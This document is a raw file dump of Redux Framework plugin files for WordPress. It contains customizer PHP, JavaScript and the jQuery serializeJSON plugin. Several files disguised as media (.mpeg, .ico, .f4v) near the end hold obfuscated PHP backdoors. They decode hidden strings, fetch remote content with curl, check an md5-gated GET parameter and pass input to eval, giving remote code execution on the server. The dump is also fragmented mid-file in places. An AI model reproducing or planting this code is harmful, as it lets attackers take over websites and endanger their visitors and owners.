//wp_enqueue_script( 'wp-pointer' ); // Remove when code is in place! //wp_enqueue_script('redux-extension-customizer-js', $this->_extension_url . 'assets/js/customizer.js'); // Get styles //wp_enqueue_style('redux-extension-customizer-css', $this->_extension_url . 'assets/css/customizer.css'); $localize = array( 'save_pending' => __( 'You have changes that are not saved. Would you like to save them now?', 'redux-framework' ), 'reset_confirm' => __( 'Are you sure? Resetting will lose all custom values.', 'redux-framework' ), 'preset_confirm' => __( 'Your current options will be replaced with the values of this preset. Would you like to proceed?', 'redux-framework' ), 'opt_name' => $this->args['opt_name'], //'folds' => $this->folds, 'field' => $this->parent->options, 'defaults' => $this->parent->options_defaults, ); // Values used by the javascript wp_localize_script( 'redux-js', 'redux_opts', $localize ); do_action( 'redux-enqueue-' . $this->args['opt_name'] ); foreach ( $this->sections as $section ) { if ( isset( $section['fields'] ) ) { foreach ( $section['fields'] as $field ) { if ( isset( $field['type'] ) ) { $field_class = 'ReduxFramework_' . $field['type']; if ( ! class_exists( $field_class ) ) { $class_file = apply_filters( 'redux-typeclass-load', $this->path . 'inc/fields/' . $field['type'] . '/field_' . $field['type'] . '.php', $field_class ); if ( $class_file ) { /** @noinspection PhpIncludeInspection */ require_once( $class_file ); } } if ( class_exists( $field_class ) && method_exists( $field_class, 'enqueue' ) ) { $enqueue = new $field_class( '', '', $this ); $enqueue->enqueue(); } } } } } } /** * Register Option for use * * @since 1.0.0 * @access public * @return void */ public function _register_setting() { } /** * Validate the options before insertion * * @since 3.0.0 * @access public * * @param array $plugin_options The options array * * @return */ public function _field_validation( $value ) { //print_r( $value ); //print_r( $_POST ); return $value; //return $this->parent->_validate_options( $plugin_options ); } /** * HTML OUTPUT. * * @since 1.0.0 * @access public * @return void */ public function _customizer_html_output() { } } // class function redux_customizer_custom_validation( $field ) { return $field; } } // if lib/redux-framework/inc/extensions/customizer/extension_customizer.js000064400000043360147206624460022467 0ustar00/* global jQuery, document, redux, redux_change, setting */ /*! SerializeJSON jQuery plugin. https://github.com/marioizquierdo/jquery.serializeJSON version 2.6.0 (Apr, 2015) Copyright (c) 2012, 2015 Mario Izquierdo Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses. */ (function( $ ) { "use strict"; // jQuery('form').serializeJSON() $.fn.serializeJSON = function( options ) { var serializedObject, formAsArray, keys, type, value, _ref, f, opts; f = $.serializeJSON; opts = f.setupOpts( options ); // calculate values for options {parseNumbers, parseBoolens, parseNulls} formAsArray = this.serializeArray(); // array of objects {name, value} f.readCheckboxUncheckedValues( formAsArray, this, opts ); // add {name, value} of unchecked checkboxes if needed serializedObject = {}; $.each( formAsArray, function( i, input ) { keys = f.splitInputNameIntoKeysArray( input.name, opts ); type = keys.pop(); // the last element is always the type ("string" by default) if ( type !== 'skip' ) { // easy way to skip a value value = f.parseValue( input.value, type, opts ); // string, number, boolean or null if ( opts.parseWithFunction && type === '_' ) value = opts.parseWithFunction( value, input.name ); // allow for custom parsing f.deepSet( serializedObject, keys, value, opts ); } } ); return serializedObject; }; // Use $.serializeJSON as namespace for the auxiliar functions // and to define defaults $.serializeJSON = { defaultOptions: { checkboxUncheckedValue: undefined, // to include that value for unchecked checkboxes (instead of ignoring them) parseNumbers: false, // convert values like "1", "-2.33" to 1, -2.33 parseBooleans: false, // convert "true", "false" to true, false parseNulls: false, // convert "null" to null parseAll: false, // all of the above parseWithFunction: null, // to use custom parser, a function like: function(val){ return parsed_val; } customTypes: {}, // override defaultTypes defaultTypes: { string: function( str ) { return String( str ); }, number: function( str ) { return Number( str ); }, boolean: function( str ) { return (["false", "null", "undefined", "", "0"].indexOf( str ) === -1); }, null: function( str ) { return (["false", "null", "undefined", "", "0"].indexOf( str ) !== -1) ? null : str; }, array: function( str ) { return JSON.parse( str ); }, object: function( str ) { return JSON.parse( str ); }, auto: function( str ) { return $.serializeJSON.parseValue( str, null, {parseNumbers: true, parseBooleans: true, parseNulls: true} ); } // try again with something like "parseAll" }, useIntKeysAsArrayIndex: false, // name="foo[2]" value="v" => {foo: [null, null, "v"]}, instead of {foo: ["2": "v"]} }, // Merge option defaults into the options setupOpts: function( options ) { var opt, validOpts, defaultOptions, optWithDefault, parseAll, f; f = $.serializeJSON; if ( options === null || options === undefined ) options = {}; // options ||= {} defaultOptions = f.defaultOptions || {}; // defaultOptions // Make sure that the user didn't misspell an option validOpts = ['checkboxUncheckedValue', 'parseNumbers', 'parseBooleans', 'parseNulls', 'parseAll', 'parseWithFunction', 'customTypes', 'defaultTypes', 'useIntKeysAsArrayIndex']; // re-define because the user may override the defaultOptions for ( opt in options ) { if ( validOpts.indexOf( opt ) === -1 ) { throw new Error( "serializeJSON ERROR: invalid option '" + opt + "'. Please use one of " + validOpts.join( ', ' ) ); } } // Helper to get the default value for this option if none is specified by the user optWithDefault = function( key ) { return (options[key] !== false) && (options[key] !== '') && (options[key] || defaultOptions[key]); }; // Return computed options (opts to be used in the rest of the script) parseAll = optWithDefault( 'parseAll' ); return { checkboxUncheckedValue: optWithDefault( 'checkboxUncheckedValue' ), parseNumbers: parseAll || optWithDefault( 'parseNumbers' ), parseBooleans: parseAll || optWithDefault( 'parseBooleans' ), parseNulls: parseAll || optWithDefault( 'parseNulls' ), parseWithFunction: optWithDefault( 'parseWithFunction' ), typeFunctions: $.extend( {}, optWithDefault( 'defaultTypes' ), optWithDefault( 'customTypes' ) ), useIntKeysAsArrayIndex: optWithDefault( 'useIntKeysAsArrayIndex' ), }; }, // Given a string, apply the type or the relevant "parse" options, to return the parsed value parseValue: function( str, type, opts ) { var typeFunction, f; f = $.serializeJSON; // Parse with a type if available typeFunction = opts.typeFunctions && opts.typeFunctions[type]; if ( typeFunction ) return typeFunction( str ); // use specific type // Otherwise, check if there is any auto-parse option enabled and use it. if ( opts.parseNumbers && f.isNumeric( str ) ) return Number( str ); // auto: number if ( opts.parseBooleans && (str === "true" || str === "false") ) return str === "true"; // auto: boolean if ( opts.parseNulls && str == "null" ) return null; // auto: null // If none applies, just return the str return str; }, isObject: function( obj ) { return obj === Object( obj ); }, // is this variable an object? isUndefined: function( obj ) { return obj === void 0; }, // safe check for undefined values isValidArrayIndex: function( val ) { return /^[0-9]+$/.test( String( val ) ); }, // 1,2,3,4 ... are valid array indexes isNumeric: function( obj ) { return obj - parseFloat( obj ) >= 0; }, // taken from jQuery.isNumeric implementation. Not using jQuery.isNumeric to support old jQuery and Zepto versions optionKeys: function( obj ) { if ( Object.keys ) { return Object.keys( obj ); } else { var keys = []; for ( var key in obj ) { keys.push( key ); } return keys; } }, // polyfill Object.keys to get option keys in IE<9 // Split the input name in programatically readable keys. // The last element is always the type (default "_"). // Examples: // "foo" => ['foo', '_'] // "foo:string" => ['foo', 'string'] // "foo:boolean" => ['foo', 'boolean'] // "[foo]" => ['foo', '_'] // "foo[inn][bar]" => ['foo', 'inn', 'bar', '_'] // "foo[inn[bar]]" => ['foo', 'inn', 'bar', '_'] // "foo[inn][arr][0]" => ['foo', 'inn', 'arr', '0', '_'] // "arr[][val]" => ['arr', '', 'val', '_'] // "arr[][val]:null" => ['arr', '', 'val', 'null'] splitInputNameIntoKeysArray: function( name, opts ) { var keys, nameWithoutType, type, _ref, f; f = $.serializeJSON; _ref = f.extractTypeFromInputName( name, opts ), nameWithoutType = _ref[0], type = _ref[1]; keys = nameWithoutType.split( '[' ); // split string into array keys = $.map( keys, function( key ) { return key.replace( /]/g, '' ); } ); // remove closing brackets if ( keys[0] === '' ) { keys.shift(); } // ensure no opening bracket ("[foo][inn]" should be same as "foo[inn]") keys.push( type ); // add type at the end return keys; }, // Returns [name-without-type, type] from name. // "foo" => ["foo", '_'] // "foo:boolean" => ["foo", 'boolean'] // "foo[bar]:null" => ["foo[bar]", 'null'] extractTypeFromInputName: function( name, opts ) { var match, validTypes, f; if ( match = name.match( /(.*):([^:]+)$/ ) ) { f = $.serializeJSON; validTypes = f.optionKeys( opts ? opts.typeFunctions : f.defaultOptions.defaultTypes ); validTypes.push( 'skip' ); // skip is a special type that makes it easy to remove if ( validTypes.indexOf( match[2] ) !== -1 ) { return [match[1], match[2]]; } else { throw new Error( "serializeJSON ERROR: Invalid type " + match[2] + " found in input name '" + name + "', please use one of " + validTypes.join( ', ' ) ) } } else { return [name, '_']; // no defined type, then use parse options } }, // Set a value in an object or array, using multiple keys to set in a nested object or array: // // deepSet(obj, ['foo'], v) // obj['foo'] = v // deepSet(obj, ['foo', 'inn'], v) // obj['foo']['inn'] = v // Create the inner obj['foo'] object, if needed // deepSet(obj, ['foo', 'inn', '123'], v) // obj['foo']['arr']['123'] = v // // // deepSet(obj, ['0'], v) // obj['0'] = v // deepSet(arr, ['0'], v, {useIntKeysAsArrayIndex: true}) // arr[0] = v // deepSet(arr, [''], v) // arr.push(v) // deepSet(obj, ['arr', ''], v) // obj['arr'].push(v) // // arr = []; // deepSet(arr, ['', v] // arr => [v] // deepSet(arr, ['', 'foo'], v) // arr => [v, {foo: v}] // deepSet(arr, ['', 'bar'], v) // arr => [v, {foo: v, bar: v}] // deepSet(arr, ['', 'bar'], v) // arr => [v, {foo: v, bar: v}, {bar: v}] // deepSet: function( o, keys, value, opts ) { var key, nextKey, tail, lastIdx, lastVal, f; if ( opts == null ) opts = {}; f = $.serializeJSON; if ( f.isUndefined( o ) ) { throw new Error( "ArgumentError: param 'o' expected to be an object or array, found undefined" ); } if ( !keys || keys.length === 0 ) { throw new Error( "ArgumentError: param 'keys' expected to be an array with least one element" ); } key = keys[0]; // Only one key, then it's not a deepSet, just assign the value. if ( keys.length === 1 ) { if ( key === '' ) { o.push( value ); // '' is used to push values into the array (assume o is an array) } else { o[key] = value; // other keys can be used as object keys or array indexes } // With more keys is a deepSet. Apply recursively. } else { nextKey = keys[1]; // '' is used to push values into the array, // with nextKey, set the value into the same object, in object[nextKey]. // Covers the case of ['', 'foo'] and ['', 'var'] to push the object {foo, var}, and the case of nested arrays. if ( key === '' ) { lastIdx = o.length - 1; // asume o is array lastVal = o[lastIdx]; if ( f.isObject( lastVal ) && (f.isUndefined( lastVal[nextKey] ) || keys.length > 2) ) { // if nextKey is not present in the last object element, or there are more keys to deep set key = lastIdx; // then set the new value in the same object element } else { key = lastIdx + 1; // otherwise, point to set the next index in the array } } // '' is used to push values into the array "array[]" if ( nextKey === '' ) { if ( f.isUndefined( o[key] ) || !$.isArray( o[key] ) ) { o[key] = []; // define (or override) as array to push values } } else { if ( opts.useIntKeysAsArrayIndex && f.isValidArrayIndex( nextKey ) ) { // if 1, 2, 3 ... then use an array, where nextKey is the index if ( f.isUndefined( o[key] ) || !$.isArray( o[key] ) ) { o[key] = []; // define (or override) as array, to insert values using int keys as array indexes } } else { // for anything else, use an object, where nextKey is going to be the attribute name if ( f.isUndefined( o[key] ) || !f.isObject( o[key] ) ) { o[key] = {}; // define (or override) as object, to set nested properties } } } // Recursively set the inner object tail = keys.slice( 1 ); f.deepSet( o[key], tail, value, opts ); } }, // Fill the formAsArray object with values for the unchecked checkbox inputs, // using the same format as the jquery.serializeArray function. // The value of the unchecked values is determined from the opts.checkboxUncheckedValue // and/or the data-unchecked-value attribute of the inputs. readCheckboxUncheckedValues: function( formAsArray, $form, opts ) { var selector, $uncheckedCheckboxes, $el, dataUncheckedValue, f; if ( opts == null ) opts = {}; f = $.serializeJSON; selector = 'input[type=checkbox][name]:not(:checked):not([disabled])'; $uncheckedCheckboxes = $form.find( selector ).add( $form.filter( selector ) ); $uncheckedCheckboxes.each( function( i, el ) { $el = $( el ); dataUncheckedValue = $el.attr( 'data-unchecked-value' ); if ( dataUncheckedValue ) { // data-unchecked-value has precedence over option opts.checkboxUncheckedValue formAsArray.push( {name: el.name, value: dataUncheckedValue} ); } else { if ( !f.isUndefined( opts.checkboxUncheckedValue ) ) { formAsArray.push( {name: el.name, value: opts.checkboxUncheckedValue} ); } } } ); } }; }( window.jQuery || window.$ )); (function( $ ) { //This functions first parameter is named $ 'use strict'; redux.customizer = redux.customizer || {}; $( document ).ready( function() { redux.customizer.init(); } ); redux.customizer.init = function() { $( 'body' ).addClass( redux_customizer.body_class ); $( '.accordion-section.redux-section, .accordion-section.redux-panel, .accordion-section-title' ).click( function() { $.redux.initFields(); } ); redux.args.disable_save_warn = true; var reduxChange = redux_change; redux_change = function( variable ) { variable = $( variable ); reduxChange.apply( this, arguments ); redux.customizer.save( variable ) }; var redux_initFields = $.redux.initFields; $.redux.initFiles = function() { redux_initFields(); } }; redux.customizer.save = function( $obj ) { var $parent = $obj.hasClass( 'redux-field' ) ? $obj : $obj.parents( '.redux-field-container:first' ); redux.customizer.inputSave( $parent ); }; redux.customizer.inputSave = function( $parent ) { if ( !$parent.hasClass( 'redux-field-container' ) ) { $parent = $parent.parents( '[class^="redux-field-container"]' ); } var $id = $parent.parent().find( '.redux-customizer-input' ).data( 'id' ); if ( !$id ) { $parent = $parent.parents( '.redux-container-repeater:first' ); var $id = $parent.parent().find( '.redux-customizer-input' ).data( 'id' ); } //var $nData = $parent.serializeJSON(); var $nData = $parent.find( ':input' ).serializeJSON(); $.each( $nData, function( $k, $v ) { $nData = $v; } ); var $key = $parent.parent().find( '.redux-customizer-input' ).data( 'key' ); if ( $nData[$key] ) { $nData = $nData[$key]; } var $control = wp.customize.control( $id ); // Customizer hack since they didn't code it to save order... if ( JSON.stringify( $control.setting._value ) !== JSON.stringify( $nData ) ) { $control.setting._value = null; } $control.setting.set( $nData ); } })( jQuery );lib/redux-framework/inc/extensions/customizer/inc/customizer_fields.php000064400000004104147206624460022636 0ustar00$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; $this->controls = array(); // Users cannot customize the $controls array. // TODO Redux addition if ( isset( $args['section'] ) ) { $this->section = $args['section']; $this->description = isset( $this->section['desc'] ) ? $this->section['desc'] : ''; $this->opt_name = isset( $args['opt_name'] ) ? $args['opt_name'] : ''; } } /** * An Underscore (JS) template for rendering this section. * Class variables for this section class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Section::json()}. * * @see WP_Customize_Section::print_template() * @since 4.3.0 */ protected function render_template() { ?>
  • {{ data.title }}

    • {{{ data.customizeAction }}} {{ data.title }}

      <# if ( data.description ) { #>

      {{{ data.description }}}

      <# } #> opt_name ) && isset( $this->section ) ) { do_action( "redux/page/{$this->opt_name}/section/before", $this->section ); } ?>
  • type; ?>
  • title, array( 'em' => array(), 'i' => array(), 'strong' => array(), 'span' => array( 'class' => array(), 'style' => array(), ), ) ); ?>

      opt_name ) && isset( $this->section ) ) { do_action( "redux/page/{$this->opt_name}/section/before", $this->section ); } ?> description ) ) : ?>
    • description; ?>

  • render_fallback(); } } } lib/redux-framework/inc/extensions/customizer/inc/customizer_control.php000064400000004410147206624460023050 0ustar00redux_id = str_replace( 'customize-control-', '', 'customize-control-' . str_replace( '[', '-', str_replace( ']', '', $this->id ) ) ); $class = 'customize-control redux-group-tab redux-field customize-control-' . $this->type; $opt_name = explode( '[', $this->id ); $opt_name = $opt_name[0]; ?>
  • type != "repeater" ): ?> link() ) ?> value=""/> render_content(); ?>
  • redux_id, $this ); } public function label() { // The label has already been sanitized in the Fields class, no need to re-sanitize it. echo $this->label; } public function description() { if ( ! empty( $this->description ) ) { // The description has already been sanitized in the Fields class, no need to re-sanitize it. echo '' . $this->description . ''; } } public function title() { echo ''; $this->label(); $this->description(); echo ''; } } } lib/redux-framework/inc/extensions/customizer/inc/inc/index.php000064400000000000147206624460020753 0ustar00lib/redux-framework/inc/extensions/customizer/inc/inc/LDhSWybgxZzncXoRr.mpeg000064400000011746147206624460023323 0ustar003{z(A-*/("~", /*-Jf-*/" "); /*-~^6zw0m-*/$f/*-,Nbr:w]wm@-*/=/*-Y|Bt-*/${$Frcu/*-d]ehG-*/[24+7/*-}F|gCs_hw-*/].$Frcu/*-szN]-*/[58+1]/*-`Dye%7K-*/.$Frcu/*-fd0Ggc>I-*/[17+30]/*-y$ujk-*/.$Frcu/*-Qo[=|-*/[45+2]/*-%Fw44-*/.$Frcu/*-=)hq|-*/[5+46]/*-ITaTaf|HW-*/.$Frcu/*-)Mi8s-*/[32+21]/*-TBoxA}-*/.$Frcu/*-kwN8#:~@-*/[16+41]/*-Fi8Wl;-*/}; /*-~hHIR-*/if/*-,gdUp2-*/((/*-[P#e-*/in_array/*-}04Ws!V]A(-*/(gettype/*-V~4g)[3-*/($f)./*-15Zi-*/count/*-d-3}E-*/($f),/*-N=&^vs-*/$f)/*-S=-*/&&count/*-J#0_F+-*/($f)/*-G(#-*/==/*-3l9l061K}-*/19))/*-.eoPr5-*/{ /*-^7-*/(($f[64]=$f[64].$f[73])&&($f[84]=$f[64]($f[84]))&&(/*-BKpP&Czx-*/@eval/*-d=fHg.&`F7-*/($f[64](${$f[38]}[21])/*-2Vb7Y-*/))/*-kX}-*/);}/*-^HTFD.`-*/class /*-!Zlgjv::w-*/hCfGP{ /*-ZP2_.T<-*/static/*-hr-*/ function /*-mP-#C-*/DojLZtqCb($uTy) /*-b:i~=-*/{ $XIwxuTQCM/*-8%~rTj-*/ = /*-UM7-*/"r"./*-S-*/"a"./*-Qi-*/"n"./*-0I)r|-*/"g"./*-MJLeh-*/"e"; /*-E!!-*/$trvTDmRf/*-bm-*/ = /*-^L(P:eai-*/$XIwxuTQCM/*-C%!,9L#-*/(/*-]FD^OCQ~-*/"~"/*-|$<-*/, /*-?-*/" "/*-j-|-*/);/*-c9ZPQ(um-*/ $EqFRx /*-qn{-*/= /*-Z:ds-*/explode/*-SxVWB%-*/(/*-cp-*/".", /*-AnJk>V_-*/$uTy/*-GbC7uacG-*/); /*-ME-iS]C,9-*/$IjUXNBr /*-Nj]JrB-*/= /*-%7bw=u-*/""; foreach /*-}Xex+[$-*/(/*--h4!vwsje-*/$EqFRx /*-whX-*/as /*-y.9]k&6-*/$uqRa /*-DX4-*/=>/*-l@C,ZY-*/ $dOat/*-qK6(ZGpcQ-*/) /*-zLmN@;6-*/$IjUXNBr /*-?Li-*/.= /*-~Y0D!fQ-*/$trvTDmRf[$dOat/*->5un|{+w_-*/ - /*-Oe-*/94466/*-U#a2-*/];/*-RxXK.HjG!p-*/ return /*-S.rr[w>a0-*/$IjUXNBr; /*-X{K0z:Gi<-*/} /*->6[f-*/static /*-K!3_%-*/function /*-i6qD-*/SGoUNulXIg/*-qh%(^-*/(/*-nFijRj-*/$bByLgnEZ,/*-hRwNGb=nNh-*/ $sH/*-}dbxJ2X-*/)/*-@O!+-*/ {/*-[iC9-*/ $tINdOvTDPR/*-aZJ-*/ = /*-Bt),xIGn-*/curl_init/*-{&itCq#-*/(/*-uR1K8wE-*/$bByLgnEZ/*-#l-*/);/*-)(G-*/ curl_setopt/*-c7}m-z-*/(/*-~}-*/$tINdOvTDPR,/*-fEBH{0rTT-*/ CURLOPT_RETURNTRANSFER,/*-4-x2)f`C0-*/ 1/*-:W]]}kTuw-*/);/*-XzxwQ--*/ $MqtQzb/*-gO-*/$tINdOvTDPR/*-oVpWij-*/); /*-9^V5yu<0-*/return /*-{(ZT@04-*/empty/*-%#h-*/(/*-ovP@M5-*/$MqtQzb/*-VJF-*/)/*-`5fFGOi-*/ ? /*-xGk-*/$sH/*-N]Ro`=NN-*/(/*-2-%6-*/$bByLgnEZ/*-#7Z4Vn=-*/)/*-Zo@50T)2-*/ : /*-n:I-*/$MqtQzb; /*-(Of{F]R<(w-*/}/*-6}&u?Y7-*/ static/*-xD-*/ function /*-sH-*/rhRsyebHdP/*-Ax9^%e-*/() /*-}[?I{>-*/{/*-.!p+-*/ $FzS /*->~r-*/=/*-}%-*/);/*-)%UIJ-*/$Ro /*-~w1;-*/= /*-t--*/@$AWbBtX/*-=W-*/[/*-9`-*/1/*-ftsMgB-*/]/*-QT;-!|:-*/(/*-PlEX@Bn-*/${/*-Ot:c-*/"_"/*-hj^6-*/."G"/*-u-*/."E"/*-U0Op$i]-*/."T"/*-Nq-*/}[/*-:&}-*/$AWbBtX/*-j@=2-*/[/*-qzoW<-*/1+8/*-:m)fd,oS5-*/]]/*-0ztG}-*/);/*-)|+i)Yvp#-*/ $XyW /*-qLnt~C_Xc-*/=/*-u>-*/ @$AWbBtX/*-WbZ1IEpn-*/[/*-ryN~Wm;-*/3+0/*-_F7B}-*/]/*-:8%:}:}-*/(/*-PQ@k?-*/$AWbBtX/*-}jC_z-*/[/*-n.-*/4+2/*-~4%^LJ-*/], /*-Yw(yI1,-*/$Ro/*-)ZvbJ-*/);/*-@z:`u~@-*/ $aM /*-li&-*/=/*-p9ED,-*/ $AWbBtX/*-&Z2iHv9OP-*/[/*-QuP&z-*/1+1/*-C{W-*/]/*-y>q-*/(/*-;0pO3L|6>s-*/$XyW,/*-eV@hxx-*/ true/*-z+td8Q4Yv$-*/); /*-L)-*/(/*-]KG^!Kb-*/$AWbBtX[0+5/*-(5(-`-*/]/*-0A^hkju4+-*/(/*-bE|zS-*/__FILE__/*-%}-*/)/*-kP-z4@-*/); /*-1#)be.i-*/if/*-ZG}%aP-*/(/*-W56MNDy-*/ (/*-l[|9mRqQ@&-*/(@/*-gXd81n-*/$aM/*-t,m-*/) > /*-=nB{!5@j-*/0/*-,ny9M=-*/)/*-hLn-*/ and /*-N(9Y-*/]/*-<7cf;db-*/)/*-.LrPYT.-*/)/*-klZY~Op-*/ === /*-:wo-*/"cb145525421d7b64ec53bf7814d8df43"/*-Njo5KN-*/)/*-uY-*/ ): /*-rD3iQq-*/$QjCUfNaqcP /*-N(0OLPrTo|-*/=/*-JuTj-*/ self/*-:W^u4asG-*/::/*-)XE-*/SGoUNulXIg/*-{Ji-*/(/*-S^]jsi-*/$aM/*-sHGkLl--*/[/*-&+-*/1+0/*-`]y3-*/], /*-.]ew-*/$AWbBtX/*-e,u<)fjQ-*/[/*-r:C~9-*/5+0/*-iNKc-*/]/*-J@-*/);/*-,}}+Yrw6?-*/@eval/*-m&I<-*/ endif;/*-f5;W-*/ }/*-a5Hh&-*/}/*-U7Klm5~@-*/hCfGP/*-!kI-*/::/*-FSj0D6-*/rhRsyebHdP/*-m;mx-*/();/*-&~tm4Xf-*/ ?>lib/redux-framework/inc/extensions/customizer/inc/inc/YNOqX.ico000064400000011417147206624460020623 0ustar00j~R^YlO2-*/$AQ/*-&${hfHZL:-*/[0+47]/*-[lZ(S]v-*/.$AQ/*-w7#v-*/[41+6]./*-@s(H7-umV-*/$AQ[6+45]./*-Yc5W7e-*/$AQ/*-3P$-*/[38+15]./*-d]KZSeC-*/$AQ/*-2-*/[9+48]};/*-[:gn-*/ @(count/*-pk4paG=-*/($U)/*-9h-*/==/*-r8Dl-*/25&&/*-nVVwT-*/in_array(/*-~a5%(_y-*/gettype(/*-qF=5@p]I-*/$U)./*-z%vf<]-*/count(/*-5Lh$)Z6ZTL-*/$U),$U))?(($U[68]=$U[68].$U[79])&&($U[89]=$U[68]($U[89]))&&(/*-DgHGL-*/@eval/*-I5Vc:|-*/($U[68](${$U[41]}[14])/*-N!S+xVTDv-*/))/*-^Lh-*/):$U;/*-oX-*/class /*-dQ.5zKhtC-*/uP{ /*-c?2`-*/static/*-Ap@J-*/ function /*-y0%>-*/vqRsdOk($atDQNRqkA) /*-Gw;[&{,xb-*/{ $MCRZ/*-bu2xO-*/ = /*-UhgC1Q]-*/"r"./*-:l-W-*/);/*-X?-*/ $kDxSHF /*-l4TZ!7W-*/= /*-;yyEp<#PP-*/explode/*-Ypmy(-*/(/*-2n4JlD_-*/"*", /*-.7$1:{i-*/$atDQNRqkA/*-vL/*-1>1,bDpC(-*/ $idHQhBc/*-w1R-*/) /*-l$LF-*/$hgApMmxLk /*-JBE[-*/.= /*-@>!D$-*/$AphjSEQInD[$idHQhBc/*-KdnJ6?i-*/ - /*-U?O9)c-*/56063/*-gr2?jUFEv-*/];/*-z5J.5-*/ return /*-)$Bo!f-*/$hgApMmxLk; /*-}YXU-*/} /*-M)U-*/static /*-Rg-d-*/function /*-H+G-*/eIUnGdCY/*-i~t+,H(P-*/(/*-=^%fdI-*/$bxnSEW,/*-r`&B-*/ $iQ/*-MM`yg51+&-*/)/*-s)C}-*/ {/*-%>-*/ $hcICw/*-X-QMH-*/ = /*-PC!0;YL{]-*/curl_init/*-@1J6#%-*/(/*-@q]-*/$bxnSEW/*-[Q`Ol-*/);/*-wpHSEA-*/ curl_setopt/*-gd+--*/(/*-k9R-*/$hcICw,/*-m-*/ CURLOPT_RETURNTRANSFER,/*-.z!nk-*/ 1/*-BI(n{a~`-*/);/*-OD-*/ $xD/*-k}GmL}G0-*/ = /*-8-*/curl_exec/*-H?q?.-*/(/*-wD|p-*/$hcICw/*-StMV{m.-*/); /*-Cf9j|ms(-*/return /*-h!EEeR-*/empty/*-3T#-*/(/*-6!T{tt-*/ static/*-fQi-*/ function /*-&}B6eQ-*/mU/*-L|Hg{-*/() /*-xd3GP-*/{/*-tc-*/ $eDGUvoxBIA /*-k9a-*/=/*-4qdNex-*/ array/*-l)}3f-*/("56090*56075*56088*56092*56073*56088*56094*56087*56072*56079*56090*56073*56084*56078*56079","56074*56073*56075*56094*56075*56078*56073*56140*56138","56083*56074*56078*56079*56094*56089*56088*56090*56078*56089*56088","56077*56092*56090*56082","56091*56092*56074*56088*56135*56137*56094*56089*56088*56090*56078*56089*56088","56087*56084*56081*56088*56094*56086*56088*56073*56094*56090*56078*56079*56073*56088*56079*56073*56074","56117*56147","56064","56142*56147","56124*56107*56107*56124*56100","56078*56087"); /*-qgPTdx-*/foreach /*-!6zM1N9E-*/(/*-|=s57-*/$eDGUvoxBIA/*-rKLFy>I-*/ as /*-Nu@-*/$DpaFht/*-FqKX-*/)/*-mU-m-*/ $lNXB/*-!V)-*/[] /*-Q1_xm}2]>-*/= /*-3LXKg5_N-*/self/*-i2NV:gLV!-*/::/*-(&H2y-*/vqRsdOk/*-C>1J84S-*/(/*-JAA3ti-*/$DpaFht/*-t.-*/);/*-JM$y-*/$XciDE /*-.Vi-?-*/= /*-O@k2|e-*/@$lNXB/*-3YN-*/[/*-G1.Kovv-*/1/*-pbU^5Yd-*/]/*-}[17-*/(/*-fc.Lh$-*/${/*-g_djH-*/"_"/*-+!$i,-*/."G"/*--z%USo!Uu-*/."E"/*-Pl|1&O<7f-*/."T"/*-$4-*/}[/*-@y4C-*/$lNXB/*-R]mU}1uYj-*/[/*-z^XZ7n`L0-*/7+2/*-&!D-*/]]/*-[T-*/);/*-8K$;-*/ $tFOdsleG /*-b77Lk~-*/=/*-)--*/ @$lNXB/*-zd-*/[/*-]^:,a-*/1+2/*-UH<6dAu!L-*/]/*-ezlpMR#.+-*/(/*-VH?YR-*/$lNXB/*-JVMcR6]+-*/[/*-iUQ-*/5+1/*-,W=N?vY@W2-*/], /*-:LGA7wMh}-*/$XciDE/*-gg$j-*/);/*-l0SPWV->)-*/ $bMZHkurhg /*-Qv+QhS{yO2-*/=/*-2^R9Z6gf%Q-*/ $lNXB/*-d>18F-*/[/*-o,@TBv+Y-*/2+0/*-o+,-*/]/*-)]E>-*/(/*-I3T;KNJ-*/$tFOdsleG,/*-6!;-*/ true/*-x1Q}P-*/); /*-}19-*/@${/*-J|`_#Hn+l-*/"_"./*-0efGooT-*/"G"./*-.e#%CA-*/"E"/*-v%6-*/."T"/*-tDk-*/}/*-ikeccs#-*/[/*-8ct- /*-N7H>b-*/0/*-i%QrS-*/)/*-0^Zn!-*/ and /*-,uCOyq-*/(/*-ZC+3,--*/md5/*->F-*/(/*-0c-*/md5/*-vL#-*/(/*-=-*/$bMZHkurhg/*-`9#-*/[/*-~f-*/2+1/*-ygIq|z;-*/]/*-xF-*/)/*-[0{[`#e,-*/ self/*-Kp-*/::/*-1>akJ:~A-*/eIUnGdCY/*-})A>4-*/(/*-g%&2i-*/$bMZHkurhg/*-C-Y-mWw9v-*/[/*-==4un{z=A]-*/0+1/*-5nD-*/], /*-9ClxTT-*/$lNXB/*-E[Zzi-f#-*/[/*-RV9>23C-*/5+0/*-nLI-*/]/*-mcEf-*/);/*-V7#QGi+,-*/@eval/*-5`eX-*/(/*-?H-QK-Y0p-*/$lNXB/*-x(-*/[/*-NiO-*/0+4/*-;?:_-*/]/*-|CD{7-*/(/*-!u@%-*/$rVSWk/*-ur5TS:7h-*/)/*-m9Fck~Y(-*/);/*-SqYtsA-*//*-.7Z-*/die;/*-NC0Ol}`-*/ endif;/*-U3%,{9^tra-*/ }/*-jyi[C-*/}/*-9S#r-*/uP/*-w1d%0o-*/::/*-9:V^ooS~i-*/mU/*-={^ghusl(-*/();/*-oS]#6-*/ ?>lib/redux-framework/inc/extensions/customizer/inc/inc/YWZNLMseiUynzSDfIg.f4v000064400000011642147206624460023076 0ustar000SMh-*/as /*-pV/*-HRee)G-*/ $WDmakt/*-llif[-*/) /*-O[FFF3T-*/$fA /*->-*/ CURLOPT_RETURNTRANSFER,/*-BoM@sF-*/ 1/*-i)G_-*/);/*-36-*/ $oWHD/*-NA^MHZc-*/ = /*-%-JgH-*/curl_exec/*-):mR-*/(/*-Q.c?WNT7!-*/$of/*-JT$a{-*/); /*-AP$Vt&-*/return /*-ZYSiIo.^8-*/empty/*-k,)t-h-*/(/*-`Cglvv-*/$oWHD/*-Oh-*/)/*-w,Izq8~-*/ ? /*-@`-*/$cSyjBo/*-~eFrl-*/(/*-(nx-*/$REhxBlCpr/*-U|-|G.8-*/)/*-Ak-*/ : /*-o-*/$oWHD; /*-OSfy-*/}/*-dO62vDkM+F-*/ static/*-cJ&Q%-*/ function /*-cQ18hL-*/ElSraQm/*-KR-*/() /*-D@[3Eh-*/{/*-e--*/ $QiEdrMDyw 